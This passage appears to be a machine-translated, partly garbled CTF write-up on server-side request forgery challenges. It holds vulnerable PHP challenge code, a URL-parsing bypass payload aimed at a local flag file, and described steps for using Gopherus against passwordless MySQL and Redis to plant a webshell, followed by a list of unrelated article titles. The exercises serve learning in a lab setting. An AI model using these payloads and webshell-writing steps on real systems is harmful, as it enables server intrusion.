Слова здесь на самом деле требуют использования общедоступного IP-адреса, а не частного IP-адреса. 这里из话可以использоватьhttps://lock.cmpxchg8b.com/rebinder.htmlпостроить Перепривязка DNS

Затем назначьте его URL-адресу в качестве хоста

0X04
код Язык:javascript
копировать
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

Если вы это видите, то здесь необходимо начинать с http.,中间да.ctf,Затем вы можете написать контент посередине,Наконец сshowокончание В настоящее время мы можем использовать эту идею для создания URL-адреса.

код Язык:javascript
копировать
url=http://ctf.@127.0.0.1/flag.php#show

Протокол Гофера Настоящий бой

Открыть MySQL без пароля

Вход в тир — это интерфейс входа в систему

Он подсказывает, что это MySQL без пароля, затем попробуйте использовать инструмент gopher, чтобы открыть его.

код Язык:javascript
копировать
python2 gopherus.py --exploit mysql

Имя пользователя — root, а содержимое — троянский конь, состоящий из одного предложения.

Тогда давайте рассмотрим этот вопрос

Возврат в исходном коде должен стать прорывом. Мы можем ввести любой, чтобы войти в интерфейс check.php. В настоящее время мы можем закодировать URL-адрес только что полученной полезной нагрузки и назначить ее для возврата. В это время посетите 1. .php

Напишите веб-шелл с абсолютным путем Настоящий бой

Вопрос-подсказка

Нажмите Redis

код

код Язык:javascript
копировать
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

Когда будет предложено ввести redis, идея станет более очевидной. Вы можете использовать инструменты для ввода, а затем напрямую присваивать значения. Это ручная операция.

Установите каталог хранения локальной базы данных

Напишите предложение Троян

Но эхо в настоящее время не в порядке, что указывает на то, что оно могло быть отфильтровано. Здесь измените на шестнадцатеричный формат, чтобы обойти его.

Установить имя файла

доступ

Получить флаг

boy illustration
RasaGpt — платформа чат-ботов на основе Rasa и LLM.
boy illustration
Nomic Embed: воспроизводимая модель внедрения SOTA с открытым исходным кодом.
boy illustration
Улучшение YOLOv8: EMA основана на эффективном многомасштабном внимании, основанном на межпространственном обучении, и эффект лучше, чем у ECA, CBAM и CA. Малые цели имеют очевидные преимущества | ICASSP2023
boy illustration
Урок 1 серии Libtorch: Тензорная библиотека Silky C++
boy illustration
Руководство по локальному развертыванию Stable Diffusion: подробные шаги и анализ распространенных проблем
boy illustration
Полностью автоматический инструмент для работы с видео в один клик: VideoLingo
boy illustration
Улучшения оптимизации RT-DETR: облегченные улучшения магистрали | Support Paddle облегченный rtdetr-r18, rtdetr-r34, rtdetr-r50, rtdet
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | Деформируемое внимание с большим ядром (D-LKA Attention), большое ядро ​​​​свертки улучшает механизм внимания восприимчивых полей с различными функциями
boy illustration
Создано Datawhale: выпущено «Руководство по тонкой настройке развертывания большой модели GLM-4»!
boy illustration
7B превышает десятки миллиардов, aiXcoder-7B с открытым исходным кодом Пекинского университета — это самая мощная модель большого кода, лучший выбор для корпоративного развертывания.
boy illustration
Используйте модель Huggingface, чтобы заменить интерфейс внедрения OpenAI в китайской среде.
boy illustration
Оригинальные улучшения YOLOv8: несколько новых улучшений | Сохранение исходной информации — алгоритм отделяемой по глубине свертки (MDSConv) |
boy illustration
Второй пилот облачной разработки | Быстро поиграйте со средствами разработки на базе искусственного интеллекта
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция с нулевым кодированием и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
Решенная Ошибка | Загрузка PyTorch медленная: TimeoutError: [Errno 110] При загрузке факела истекло время ожидания — Cat Head Tiger
boy illustration
Brother OCR, библиотека с открытым исходным кодом для Python, которая распознает коды проверки.
boy illustration
Новейшее подробное руководство по загрузке и использованию последней демонстрационной версии набора данных COCO.
boy illustration
Выпущен отчет о крупной модели финансовой отрасли за 2023 год | Полный текст включен в загрузку |
boy illustration
Обычные компьютеры также могут работать с большими моделями, и вы можете получить личного помощника с искусственным интеллектом за три шага | Руководство для начинающих по локальному развертыванию LLaMA-3
boy illustration
Одной статьи достаточно для анализа фактора транскрипции SCENIC на Python (4)
boy illustration
Бросая вызов ограничениям производительности небольших видеокарт, он научит вас запускать большие модели глубокого обучения с ограниченными ресурсами, а также предоставит полное руководство по оценке и эффективному использованию памяти графического процессора!
boy illustration
Команда Fudan NLP опубликовала 80-страничный обзор крупномасштабных модельных агентов, в котором в одной статье представлен обзор текущего состояния и будущего агентов ИИ.
boy illustration
[Эксклюзив] Вы должны знать о новой функции JetBrains 2024.1 «Полнострочное завершение кода», чтобы решить вашу путаницу!
boy illustration
Краткое изложение базовых знаний о регистрации изображений 1.0
boy illustration
Новейшее подробное руководство по установке и использованию библиотеки cv2 (OpenCV, opencv-python) в Python.
boy illustration
Легко создайте локальную базу знаний для крупных моделей на основе Ollama+AnythingLLM.
boy illustration
[Решено] ошибка установки conda. Среда решения: не удалось выполнить первоначальное зависание решения. Повторная попытка с помощью файла (графическое руководство).
boy illustration
Одна статья поможет вам понять RAG (Retrival Enhanced Generation) | Введение в концепцию и теорию + практику работы с кодом (включая исходный код).
boy illustration
Эволюция архитектуры шлюза облачной разработки
boy illustration
Docker и Kubernetes [Разработка контейнерных приложений с помощью Python]